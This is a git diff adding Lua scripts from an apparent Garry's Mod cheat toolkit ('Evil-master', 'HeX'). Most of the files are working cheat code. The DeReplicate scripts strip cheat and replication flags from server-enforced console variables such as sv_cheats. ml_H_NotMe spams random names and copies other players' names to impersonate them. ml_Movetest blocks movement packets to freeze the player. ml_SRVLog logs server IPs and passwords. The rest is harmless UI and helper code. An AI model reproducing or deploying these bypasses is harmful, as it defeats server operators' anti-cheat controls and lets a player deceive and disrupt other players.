if (#args > 0) then + local name = args[1] + + MsgDeReplicate( RenameCVar(name) ) --So easy! + return + end + + local Total = 0 + for k,v in pairs(NowBypass) do + Total = Total + 1 + MsgDeReplicate( RenameCVar(v) ) + end + + COLCON(RED, "Replicator", WHITE, ": Renamed ", GREEN, "["..Total.."]", WHITE, " more CVars\n") + ReplicatorDone = true +end +concommand.Add("hex_dereplicate", ManualDeReplicate) + + +local function AlwaysDeReplicate() + local Total = 0 + + for k,v in pairs(AlwaysBypass) do + Total = Total + 1 + MsgDeReplicate( RenameCVar(v) ) + end + + COLCON(RED, "Replicator:", WHITE, " Renamed ", GREEN, "["..Total.."]", WHITE, " CVars\n") +end +timer.Simple(0, AlwaysDeReplicate) + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_H_NotMe.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_H_NotMe.lua new file mode 100644 index 0000000..d94cbd1 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_H_NotMe.lua @@ -0,0 +1,129 @@ + +if not file.Exists("addons/Name_Enable.dll", true) then return end + + +local SpamRate = CreateClientConVar("hex_spamname_rate", 5, false, false) +local StealRate = CreateClientConVar("hex_stealname_rate", 12, false, false) + +local FakeNames = { + "General Failure", + "Colonel Panic", + "Major Damage", + "Old Iron Balls", + "Touch of Orange", + "Operation Coconut", +} + +function GetName() + return GetConVarString("name") or "" +end + +function SetName(str) + console.Command([[name "]]..str..[["]]) +end + + + +concommand.Add("hex_name_reset", function() + SetName( friends.GetPersonaName() ) +end) + + + +local function RandomName(ply,cmd,args) + local Rand = table.Random(FakeNames) + print("! new name: ", Rand) + SetName(Rand) +end +concommand.Add("hex_randomname", RandomName) + +function ResetName() + if GetName() != friends.GetPersonaName() then + SetName(friends.GetPersonaName()) + end + + timer.Destroy("SpamName") + timer.Destroy("StealName") +end +hook.Add("EndGame", "NotMe", ResetName) +concommand.Add("hex_resetname", ResetName) + + + +local SpamEnabled = false +local function SpamName(ply,cmd,args) + if not SpamEnabled then + SpamEnabled = true + print("! SpamName enabled") + + timer.Create("SpamName", SpamRate:GetInt(), 0, function() + local Fake = table.Random(FakeNames) + MsgN("! New name is: ", Fake) + + SetName(Fake) + end) + else + SpamEnabled = false + print("! SpamName disabled") + + timer.Destroy("SpamName") + ResetName() + end +end +concommand.Add("hex_spamname", SpamName) + +local TakeEnabled = false +local function StealName(ply,cmd,args) + local ClientNames = {} + + local OnePlayer + if (#args > 0) then + OnePlayer = player.GetByUserID( tonumber(args[1]) ) or nil + end + + if not TakeEnabled then + TakeEnabled = true + + if OnePlayer then + local Name = OnePlayer:Nick() + MsgN("! Stolen name is: ", Name) + SetName( Format("%s ", Name) ) + else + print("! StealName enabled") + + timer.Create("StealName", StealRate:GetInt(), 0, function() + ClientNames = {} + + for k,v in pairs(player.GetAll()) do + table.insert(ClientNames, v:Nick()) + end + + local ClientName = table.Random(ClientNames) + + MsgN("! Stolen name is: ", ClientName) + SetName( Format("%s ", ClientName) ) + end) + end + else + TakeEnabled = false + print("! StealName disabled") + + if timer.IsTimer("StealName") then + timer.Destroy("StealName") + end + ResetName() + end +end +concommand.Add("hex_stealname", StealName) + + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_Logo.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_Logo.lua new file mode 100644 index 0000000..594fa34 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_Logo.lua @@ -0,0 +1,38 @@ + + +if not IsKida then return end +if not IsMainGMod then return end + +local PANEL = {} +local Logo = Material( "console/gmod_logo" ) + +function PANEL:Init() + self:SetMouseInputEnabled( false ) + self:SetKeyboardInputEnabled( false ) +end + +function PANEL:GetImage() + return self.ImageName +end + + +function PANEL:Paint() + surface.SetMaterial( Logo ) + surface.SetDrawColor( 255, 255, 255, 255 ) + surface.DrawTexturedRect( 0, 0, self:GetWide(), self:GetTall() ) + return true +end + +function PANEL:PerformLayout() + local w = ScrH() / 2.5 + local h = w + + self:SetPos( ScrW() - w - 20, 20 ) + self:SetSize( w, h ) +end + + +vgui.Register("PoopImage", PANEL) + +local logo = vgui.Create("PoopImage") + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_Movetest.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_Movetest.lua new file mode 100644 index 0000000..da92c2a --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_Movetest.lua @@ -0,0 +1,31 @@ + +require("gmcl_replicator") + + +local net_blockmsg = GetConVar("net_blockmsg") +local cl_predict = GetConVar("cl_predict") +local sv_client_predict = GetConVar("sv_client_predict") + +local Predict = "1" + +local function Freeze(ply,cmd,args) + if cmd == "+freeze" then + cl_predict:SetValue("0") + Predict = sv_client_predict:GetString() + + sv_client_predict:SetValue("-1") + net_blockmsg:SetValue("clc_Move") + else + cl_predict:SetValue("1") + sv_client_predict:SetValue(Predict) + net_blockmsg:SetValue("0") + end +end +concommand.Add("+freeze", Freeze) +concommand.Add("-freeze", Freeze) + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_B_MenuRun.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_B_MenuRun.lua new file mode 100644 index 0000000..de46b15 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_B_MenuRun.lua @@ -0,0 +1 @@ + if not require("hexstring") then HeXString = function() print("[HeX] gm_hexstring.dll gone!") end end concommand.Add("lua_run_ml", function(ply,cmd,args) if #args == 0 then print("You gotta have code to run code") return end local cock = "" for k,arg in ipairs(args) do cock = cock..string.gsub(arg,'"',"'") end print("! cock: ", cock) PrintTable(args) local RawLua2Run = table.concat(args," ") local Lua2Run = string.gsub(RawLua2Run,"'",'"') print("Running lua: ",Lua2Run) HeXString(Lua2Run) return end) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_Clock.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_Clock.lua new file mode 100644 index 0000000..577c928 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_Clock.lua @@ -0,0 +1,102 @@ + +if not IsKida then return end +if not IsMainGMod then return end + +local FrameTime = 0 +local LastQuery = 0 + +local function RealFrameTimeThink() + FrameTime = math.Clamp( SysTime() - LastQuery, 0, 0.1 ) + LastQuery = SysTime() +end + +function RealFrameTimeML() return FrameTime end + +hook.Add( "Think", "RealFrameTime", RealFrameTimeThink ) + + +local PANEL = {} + +function PANEL:Init() + + self:SetMouseInputEnabled( false ) + self:SetKeyboardInputEnabled( false ) + +end + +local Clock = Material( "blackops/clock" ) + +local smoothsecond = tonumber( os.time() ) +function PANEL:Paint() + + local dblSecond, dblMinute, dblHour + local strSec, strMin, strHr + + local radius = 110 + + if tonumber( os.time() ) - smoothsecond >= 5 then + smoothsecond = tonumber( os.time() ) + else + smoothsecond = math.Approach( smoothsecond, tonumber( os.time() ), RealFrameTimeML() ) --* 3 if you remove the * 3 it makes it continuously smooth + end + dblSecond = ( smoothsecond * 6 - 90 ) * -1 + 180 + + dblMinute = ( ( os.date( "%M" ) + os.date( "%S" ) / 60) ) * 6 - 90 + dblHour = ( ( os.date( "%H" ) + os.date( "%M" ) / 60) ) * 30 - 90 + + local lineSecondX1, lineSecondX2, lineMinuteX1, lineMinuteX2, lineHourX1, lineHourX2 + local lineSecondY1, lineSecondY2, lineMinuteY1, lineMinuteY2, lineHourY1, lineHourY2 + + lineSecondX1, lineMinuteX1, lineHourX1 = radius, radius, radius + lineSecondY1, lineMinuteY1, lineHourY1 = radius, radius, radius + + local seondlinelength = 88 + local minutelinelength = 75 + local hourlinelength = 45 + + lineSecondX2 = seondlinelength * -math.cos( dblSecond * math.pi / 180 ) + lineSecondX1 + lineSecondY2 = seondlinelength * math.sin( dblSecond * math.pi / 180 ) + lineSecondY1 + lineMinuteX2 = minutelinelength * math.cos( dblMinute * math.pi / 180 ) + lineMinuteX1 + lineMinuteY2 = minutelinelength * math.sin( dblMinute * math.pi / 180 ) + lineMinuteY1 + lineHourX2 = hourlinelength * math.cos( dblHour * math.pi / 180 ) + lineHourX1 + lineHourY2 = hourlinelength * math.sin( dblHour * math.pi / 180 ) + lineHourY1 + + surface.SetMaterial( Clock ) + surface.SetDrawColor( 255, 255, 255, 255 ) + surface.DrawTexturedRect( 0, 0, self:GetWide(), self:GetTall() ) + + surface.SetDrawColor( 255, 0, 0, 255 ) + surface.DrawLine( lineSecondX1, lineSecondY1, lineSecondX2, lineSecondY2 ) + + surface.SetDrawColor( 255, 255, 255, 255 ) + surface.DrawLine( lineMinuteX1, lineMinuteY1, lineMinuteX2, lineMinuteY2 ) + + surface.SetDrawColor( 255, 255, 255, 255 ) + surface.DrawLine( lineHourX1, lineHourY1, lineHourX2, lineHourY2 ) + + for i=1, 12 do + local x,y + + local hp = math.pi * .5 + + x = -math.cos( math.rad( i / 12 * 360 ) + hp ) * 100 + lineHourX1 - 2.5 + y = -math.sin( math.rad( i / 12 * 360 ) + hp ) * 100 + lineHourY1 + + draw.SimpleText( i, "TargetIDSmall", x, y, Color( 0, 0, 0, 255 ), 0, 1 ) + end + + draw.SimpleText( os.date( "%I" ) .. ":" .. os.date( "%M" ) .. ":" .. os.date( "%S" ), "TargetIDSmall", radius, radius-15, Color( 255, 255, 255, 255 ), 1, 1 ) + draw.SimpleText( os.date( "%p" ), "TargetIDSmall", radius, radius+15, Color( 255, 255, 255, 255 ), 1, 1 ) + +end + +function PANEL:PerformLayout() + --self:SetPos( ScrW() - 230, 10 ) + --self:SetSize( 220, 220 ) + + --self:SetPos( ScrW() * 0.1, ScrH() * 0.05 ) + self:SetPos( ScrW() * 0.1, ScrH() * 0.09 ) + self:SetSize( 220, 220 ) +end + +local Clock = vgui.CreateFromTable( vgui.RegisterTable( PANEL, "Panel" ) ) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_Find.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_Find.lua new file mode 100644 index 0000000..51dbc0b --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_Find.lua @@ -0,0 +1,155 @@ + + + +local function FindInEnvironment(env,str) + local tbl = {} + --if str == "" then return tbl end + local len = string.len(str) + for k, v in pairs(env) do + if string.Left(k,len) == str then + local str = k + if type(v) == "function" then + str = str.."(" + end + table.insert(tbl,str) + end + end + return tbl +end + +local function ParseRunToAutoComplete(str) + if string.len(str) > 1 and string.Right(str,1) != "(" then + local fstr = string.TrimLeft(str) + for k, v in pairs({"=","%("}) do + fstr = string.gsub(fstr,v," ") + end + local tbl = string.Explode(" ",fstr) + local lastStr = string.Trim(table.remove(tbl)) + local match + if lastStr == "" then + return {} + elseif lastStr != "." and string.find(string.reverse(lastStr),"%.") != nil then + local tblS + local lastn = 1 + while true do + local n = string.find(lastStr,"%.",lastn) + if n == nil then break end + if tblS then + tblS = tblS[string.sub(lastStr,lastn,n-1)] + if not tblS then + tblS = {} + lastn = string.len(lastStr) + break + end + else + tblS = _G[string.sub(lastStr,lastn,n-1)] + end + lastn = n+1 + end + match = FindInEnvironment(tblS or {},string.sub(lastStr,lastn)) + local lastStr = string.sub(lastStr,1,string.len(lastStr) - (string.find(string.reverse(lastStr),"%.")-1)) + for k, v in pairs(match) do + match[k] = lastStr..v + end + else + match = FindInEnvironment(_G,lastStr) + end + if table.getn(match) != 0 then + local firstStr = string.sub(str,1,string.len(table.concat(tbl," "))+1) --just added trimleft thingy, test to do + for k, v in pairs(match) do + match[k] = "lua_run_menu"..firstStr..v + end + table.insert(match,"") + return match + end + end + return {} +end + + +local LastArgs = "" +concommand.Add("lua_run_menu",function (objPl,strCmd,tblArgs) + local str = "" + if string.len(LastArgs) > 1 then + str = string.sub(LastArgs,2) --Get rid of the space at the beginning + else + str = table.concat(tblArgs," ") + end + RunString(str) +end,function (strCmd,strArgs) + LastArgs = strArgs + return ParseRunToAutoComplete(strArgs) +end) + + + + +local function ParseOpenscriptToAutoComplete(strCmd,strArgs) + local s = (strArgs or ""):Trim() + if s == "" then return end + local path = "" + if s:find("/") then + path = s:gsub("/[^/]+$","").."/" + end + local files = {} + for _,v in pairs(file.FindInLua(s.."*")) do + if not (v == "." or v == "..") and (v:find("%.lua") or not v:find("%.")) then + local file = (path..v):gsub("[/\\]+","/") + table.insert(files,strCmd.." "..file) + end + end + table.insert(files,"") + return files +end + + +concommand.Add("lua_openscript_menu",function (objPl,strCmd,tblArgs) + include(table.concat(tblArgs," ")) +end,function (strCmd,strArgs) + return ParseOpenscriptToAutoComplete(strCmd,strArgs) +end) + + + + +local function FindInTable(tab,what,parents,depth) + depth = depth or 0 + parents = parents or "" + + if (depth > 3) then return end + depth = depth + 1 + + for k,v in pairs(tab) do + if type(k) == "string" then + if (k and k:lower():find( what:lower() ) ) then + print("\t", parents, k, " - (", type(v), " - ", v, ")") + end + + if (type(v) == "table" and + k != "_R" and + k != "_E" and + k != "_G" and + k != "_M" and + k != "_LOADED" and + k != "__index") then + + FindInTable(v, what, parents..k..".", depth) + end + end + end +end + + +local function Find(ply,cmd,args) + if not args[1] then return end + local What = args[1] + print("Finding '"..What.."' CLIENTSIDE:\n") + FindInTable(_G, What) + FindInTable(_R, What) + print("\n") +end +concommand.Add("lua_find_ml",Find) + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_DeReplicate.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_DeReplicate.lua new file mode 100644 index 0000000..d22c827 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_DeReplicate.lua @@ -0,0 +1,127 @@ + + + +if not hexcv then + require("hexcv") +end + + +local CVars = { + ["sv_cheats"] = {"0", FCVAR_NOTIFY | FCVAR_REPLICATED | FCVAR_CHEAT }, + ["host_timescale"] = {"1.0", FCVAR_NOTIFY | FCVAR_REPLICATED | FCVAR_CHEAT }, + ["r_drawparticles"] = {"1", FCVAR_CLIENTDLL | FCVAR_CHEAT }, + ["r_drawothermodels"] = {"1", FCVAR_CLIENTDLL | FCVAR_CHEAT }, + ["mat_fullbright"] = {"0", FCVAR_CHEAT }, + +} + + +for k,v in pairs(CVars) do + if ( ConVarExists(k) and not ConVarExists("hex_"..k) ) then + local value = v[1] + local flags = v[2] + + hex.ReplicateConVar(k, "hex_"..k, flags, value) + CreateConVar(k, value, flags) + + print("! done: ", "hex_"..k, value, flags) + end +end + + + + +if not hexcv then + if not require("hexcv") then + hexcv = {} + hexcv.NotInstalled = true + hexcv.SetFlags = function() print("[HeX] gm_hexcv.dll gone!") end + hexcv.GetFlags = function() print("[HeX] gm_hexcv.dll gone!") return 1 end + hexcv.IsFlagSet = function() print("[HeX] gm_hexcv.dll gone!") return false end + end +end + + +local TotalCVars = 0 + +local BypassCVars = { + ["sv_cheats"] = FCVAR_REPLICATED, + ["host_timescale"] = FCVAR_REPLICATED, + ["host_framerate"] = FCVAR_CHEAT, +} +local AlwaysBypass = { + ["mat_wireframe"] = FCVAR_CHEAT, + ["mat_fullbright"] = FCVAR_CHEAT, + ["vcollide_wireframe"] = FCVAR_CHEAT, + ["r_drawothermodels"] = FCVAR_CHEAT, + ["thirdperson"] = FCVAR_CHEAT, + ["firstperson"] = FCVAR_CHEAT, + ["snd_show"] = FCVAR_CHEAT, + ["showtriggers"] = FCVAR_CHEAT, + ["showtriggers_toggle"] = FCVAR_CHEAT, + ["mat_crosshair"] = FCVAR_CHEAT, + ["fog_override"] = FCVAR_CHEAT, +} + + +local function StripCVar(cvar) + hexcv.SetFlags(cvar, FCVAR_NONE) +end + +local function MsgDeReplicate(cvar,flags) + if hexcv.NotInstalled then + COLCON( RED, "Bypass", WHITE, ": ERROR! hexcv not found!") + return false + end + + + if flags == FCVAR_CHEAT + FCVAR_NOT_CONNECTED then + flags = "FCVAR_CHEAT, FCVAR_NOT_CONNECTED" + elseif flags == FCVAR_REPLICATED + FCVAR_NOT_CONNECTED then + flags = "FCVAR_REPLICATED, FCVAR_NOT_CONNECTED" + elseif CVarToString[flags] then + flags = CVarToString[flags] + else + flags = tostring(flags) + end + + COLCON( RED, "Bypass:", WHITE, " Stripped ", BROWN, flags, WHITE, " on ", GREEN, cvar ) + return true +end + + +local function ManuallyDeReplicate(ply,cmd,args) + if (#args > 0) then + local CVar = v + StripCVar(CVar) + MsgDeReplicate(CVar, FCVAR_CHEAT) + end + + + TotalCVars = 0 + for k,v in pairs(BypassCVars) do + TotalCVars = TotalCVars + 1 + StripCVar(k) + MsgDeReplicate(k, v) + end + COLCON( RED, "Bypass", WHITE, ": Stripped ", GREEN, TotalCVars, WHITE, " more CVars\n" ) + --Msg("\n") +end +concommand.Add("hex_dereplicate", ManuallyDeReplicate) + + +local function AlwaysDeReplicate() --always bypass + TotalCVars = 0 + for k,v in pairs(AlwaysBypass) do + TotalCVars = TotalCVars + 1 + StripCVar(k) + MsgDeReplicate(k, v) + end + COLCON( RED, "Bypass:", WHITE, " Stripped ", GREEN, TotalCVars, WHITE, " CVars\n" ) + --Msg("\n") +end +--timer.Simple(0, AlwaysDeReplicate) + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_DeReplicate_cvar2.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_DeReplicate_cvar2.lua new file mode 100644 index 0000000..cad3d16 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_DeReplicate_cvar2.lua @@ -0,0 +1,93 @@ + +if not hexcv then + if not require("hexcv") then + hexcv = {} + hexcv.NotInstalled = true + hexcv.SetFlags = function() print("[HeX] gm_hexcv.dll gone! (SetFlags)") end + hexcv.GetFlags = function() print("[HeX] gm_hexcv.dll gone! (GetFlags)") return 1 end + hexcv.IsFlagSet = function() print("[HeX] gm_hexcv.dll gone! (IsFlagSet)") return false end + end +end + +local RED = Color(237,16,29) +local WHITE = Color(255,255,255) +local GREEN = Color(182,231,18) +local PINK = Color(255,175,202) +local BROWN = Color(128,128,0) + +local TotalCVars = 0 + +local BypassCVars = { + ["sv_cheats"] = FCVAR_REPLICATED, + ["host_timescale"] = FCVAR_REPLICATED, + ["host_framerate"] = FCVAR_CHEAT, +} +local AlwaysBypass = { + ["mat_wireframe"] = FCVAR_CHEAT, + ["mat_fullbright"] = FCVAR_CHEAT, + ["vcollide_wireframe"] = FCVAR_CHEAT, + ["r_drawothermodels"] = FCVAR_CHEAT, + ["thirdperson"] = FCVAR_CHEAT, + ["firstperson"] = FCVAR_CHEAT, + ["snd_show"] = FCVAR_CHEAT, + ["showtriggers"] = FCVAR_CHEAT, + ["showtriggers_toggle"] = FCVAR_CHEAT, + ["mat_crosshair"] = FCVAR_CHEAT, + ["fog_override"] = FCVAR_CHEAT, +} + + +local function StripCVar(cvar) + hexcv.SetFlags(cvar, FCVAR_NONE) +end + +local function MsgDeReplicate(cvar,flags) + if hexcv.NotInstalled then + COLCON( RED, "Bypass", WHITE, ": ERROR! hexcv not found!") + return false + end + + + if flags == FCVAR_CHEAT + FCVAR_NOT_CONNECTED then + flags = "FCVAR_CHEAT, FCVAR_NOT_CONNECTED" + elseif flags == FCVAR_REPLICATED + FCVAR_NOT_CONNECTED then + flags = "FCVAR_REPLICATED, FCVAR_NOT_CONNECTED" + --[[elseif CVarToString[flags] then + flags = CVarToString[flags]]] + else + flags = tostring(flags) + end + + COLCON( RED, "Bypass:", WHITE, " Stripped ", BROWN, flags, WHITE, " on ", GREEN, cvar ) + return true +end + + +local function ManuallyDeReplicate() + TotalCVars = 0 + for k,v in pairs(BypassCVars) do + TotalCVars = TotalCVars + 1 + StripCVar(k) + MsgDeReplicate(k, v) + end + COLCON( RED, "Bypass", WHITE, ": Stripped ", GREEN, TotalCVars, WHITE, " more CVars\n" ) + --Msg("\n") +end +concommand.Add("hex_dereplicate", ManuallyDeReplicate) + + +local function AlwaysDeReplicate() --always bypass + TotalCVars = 0 + for k,v in pairs(AlwaysBypass) do + TotalCVars = TotalCVars + 1 + StripCVar(k) + MsgDeReplicate(k, v) + end + COLCON( RED, "Bypass:", WHITE, " Stripped ", GREEN, TotalCVars, WHITE, " CVars\n" ) + --Msg("\n") +end +timer.Simple(0, AlwaysDeReplicate) + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_Disconnect.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_Disconnect.lua new file mode 100644 index 0000000..9f5d74d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_Disconnect.lua @@ -0,0 +1,79 @@ + +timer.Simple(0.1, function() + require("connect") +end) + +local CustomMsg = false +local NewMsg = "" +local Done = false + + +local QuitTAB = { + "A good attempt at something impossible", + "One-Man Cheeseburger Apocalypse", + "The old trick, eh?", + "Not the ducks again!", + "Swallowed a fucking bee", + "Cock'n'Balls Ice Cream Co", + "Based on a real-life cube", + "They stay crunchy even in milk! ^_^", + "Toilet Connection Pipeline/International Plumbing", + "Toilet Elementary Lid-down Network", + "A revolution in duck design", + "His head was all over the wall", + "just a dick measuring contest", + "Their world is in flames and we're giving them gasoline!", + "Buggrit, millenium hand and shrimp", + "Couldn't take it anymore", + "Pissed in the sandbox", + "Accidentally the whole disconnect", + "Had it with these F'in snakes", + "Revenge of the Propane", + "Speak for yourself, Captain balls", + "Failure is always an option", + "Being led by an idiot with a crayon", + "Shit for brains, sit on my interface", + "Put a shark in it", + "Like shooting fish in a helihopter", + "Oh, Put a Cork in It!", +} + + +local OnlyTAB = { + ["Disconnect by user."] = true, + ["NetChannel removed."] = true, +} +local function HeXDisconnect(msg) + if not OnlyTAB[ msg ] then return end + if Done then return end --Called twice?! + + Done = true + timer.Simple(1, function() Done = false end) --Quicker than another hook + extras + + local RandomMessage = table.Random(QuitTAB) + if NewMsg != "" then + RandomMessage = NewMsg + end + + COLCON(GREEN,"[", BLUE,"HeX", GREEN,"]", CMIColor," Disconnect: ", RED, RandomMessage) + return RandomMessage +end +hook.Add("DisconnectMsg", "HeXDisconnect", HeXDisconnect) + + +local function HeXQuit(ply,cmd,args) + if (#args > 0) then + NewMsg = table.concat(args," ") + end + + timer.Simple(1, RunConsoleCommand, "disconnect") +end +concommand.Add("hex_quit", HeXQuit) + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_NoDS.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_NoDS.lua new file mode 100644 index 0000000..c88ede1 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_NoDS.lua @@ -0,0 +1,17 @@ + + + +local DSCommands = { + "__dsr", + "__dsp", + "__dse", +} + +local function FuckDS() + for k,v in pairs(DSCommands) do + HeXLRCL("alias "..cmd.." echo 'Datastream: "..cmd.."' blocked!") + end +end +concommand.Add("hex_fuckds", FuckDS) + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_NoWay.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_NoWay.lua new file mode 100644 index 0000000..3ffddd4 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_NoWay.lua @@ -0,0 +1 @@ + local NoWay = { "playvideo_exitcommand", --"gameui_preventescape", "con_enable", --"condump", } for k,v in pairs(NoWay) do HeXLRCL('alias "'..v..'" "echo [HeX] '..v..'"') end timer.Simple(0, function() print("[HeX] Alias'd "..#NoWay.." commands!") end) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_NewInfo.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_NewInfo.lua new file mode 100644 index 0000000..e04b2de --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_NewInfo.lua @@ -0,0 +1,26 @@ +require( "markup" ) +include( "includes/extensions/global_cl.lua" ) + +local texGradient = surface.GetTextureID( "gui/gradient" ) + +surface.CreateFont( "coolvetica", ScreenScale( 10 ), 500, true, false, "gmod_version" ) + +local UpdateLabel = vgui.Create( "DPanel" ) + +local UpdateText = markup.Parse( "garry's mod update " .. VERSION ) +UpdateLabel:SetSize( UpdateText:GetWidth() * 1.5, UpdateText:GetHeight() + 2 ) + +function UpdateLabel:Paint() + surface.SetDrawColor( 0, 0, 0, 100 ) + surface.SetTexture( texGradient ) + surface.DrawTexturedRect( 0, 0, self:GetWide(), self:GetTall() ) + + draw.SimpleText( string.format( "garry's mod update %s", VERSION ), "gmod_version", 9, 1, Color( 150, 150, 150, 255 ) ) + UpdateText:Draw( 8, 0 ) +end + +function UpdateLabel:OnMouseReleased( mc ) + if mc == MOUSE_LEFT then + gui.OpenURL( "http://store.steampowered.com/news/?appids=4000" ) + end +end \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_SRVLog.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_SRVLog.lua new file mode 100644 index 0000000..1512055 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_SRVLog.lua @@ -0,0 +1,63 @@ + + +local Enabled = CreateClientConVar("srvlog_enabled", 1, true, false) + + +local function SRVLogLog() + local LogTable = {} + local LogStr = "" + + local LogFile = Format("SRVLog/%s.txt", os.date("%d-%m-%Y_%A")) + local ServerFullDate = os.date("%d-%m-%y %I:%M%p") + local Players = Format("%s/%s", table.maxn( player.GetAll() ), client.GetMaxPlayers()) + + local ServerPW = GetConVarString("sv_password") + if (ServerPW == "" or ServerPW == "beta") then + ServerPW = "none" + end + + local ServerIP = "E.E.E.E" + if client and client.GetIP then + ServerIP = tostring(client.GetIP() or ServerIP) + end + + LogTable = { + Format("[%s]\n", ServerFullDate ), + Format("Name: %s\n", GetHostName() ), + Format("GM: %s\n", GAMEMODE.Name ), + Format("IP: %s\n", ServerIP ), + Format("Pass: %s\n", ServerPW ), + Format("Players: %s\n", Players ), + Format("Map: %s\n", client.GetMapName() ), + Format("SVC: %s\n", GetConVarString("sv_cheats") ), + "\n", + } + for k,v in ipairs(LogTable) do + LogStr = LogStr..v + end + + if not file.Exists(LogFile) then + file.Write(LogFile, Format("HeX's Server Log created at [%s]\n\n", ServerFullDate)) + end + file.Append(LogFile, LogStr) + Msg("\nSRVLogged:\n\n"..LogStr) +end +concommand.Add("srvlog_logserver", SRVLogLog) + + +local function SRVLogInit() + timer.Simple(6, function() + if client.IsInGame() and (#player.GetHumans() > 1) and Enabled:GetBool() and not client.IsDedicatedServer() then + SRVLogLog() + end + end) +end +hook.Add("OnLoadingStopped", "SRVLog", SRVLogInit) + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_SVNCheck.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_SVNCheck.lua new file mode 100644 index 0000000..c5d0b5a --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_SVNCheck.lua @@ -0,0 +1,42 @@ + +local function Useless() end + +local GAN = notification.AddLegacy + +notification.AddProgress = Useless +notification.AddLegacy = Useless +--[[ +notification.Kill = Useless +notification.Die = Useless +notification.UpdateNotice = Useless +notification.Update = Useless +]] + +if not IsKida then return end +if not IsMainGMod then return end + +local addons = file.FindDir( "addons/*", true ) +local path, properties, current, latest, name +timer.Simple(0, function() + for _, addon in ipairs( addons ) do + path = "addons/" .. addon .. "/.svn/entries" + if ( file.Exists( path, true ) ) then + properties = string.Explode( "\n", file.Read( path, true ) ) + current = tonumber( properties[4] ) + + http.Get( "http://83.84.23.31/dev/get.php?url=" .. properties[5], "", function( contents ) + latest = tonumber( string.match( contents, "Revision ([0-9]+)" ) ) + + if ( current and latest and current < latest ) then + name = KeyValuesToTable( file.Read( "addons/" .. addon .. "/info.txt", true ) )["name"] + + GAN("SVN Update for: "..( name or addon ), NOTIFY_UNDO, 10) + print("[HeX] SVN Update for: ", (name or addon)) + end + end ) + end + end +end) + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_StartMenu.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_StartMenu.lua new file mode 100644 index 0000000..c10b582 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_StartMenu.lua @@ -0,0 +1,105 @@ +--[[ _ + / _| __ _ ___ ___ _ __ _ _ _ __ ___| |__ +| |_ / _` |/ __/ _ \ '_ \| | | | '_ \ / __| '_ \ +| _| (_| | (_| __/ |_) | |_| | | | | (__| | | | +|_| \__,_|\___\___| .__/ \__,_|_| |_|\___|_| |_| + |_| 2010 +]] + +local PANEL = {} + +function PANEL:Init() + self:SetMouseInputEnabled( true ) + self:SetKeyboardInputEnabled( true ) + + self:SetDeleteOnClose( false ) + self:SetTitle("Start New Game") + self:CreateControls() +end + +function PANEL:CreateControls() + self.StartGame = vgui.Create( "StartGame", self ) + 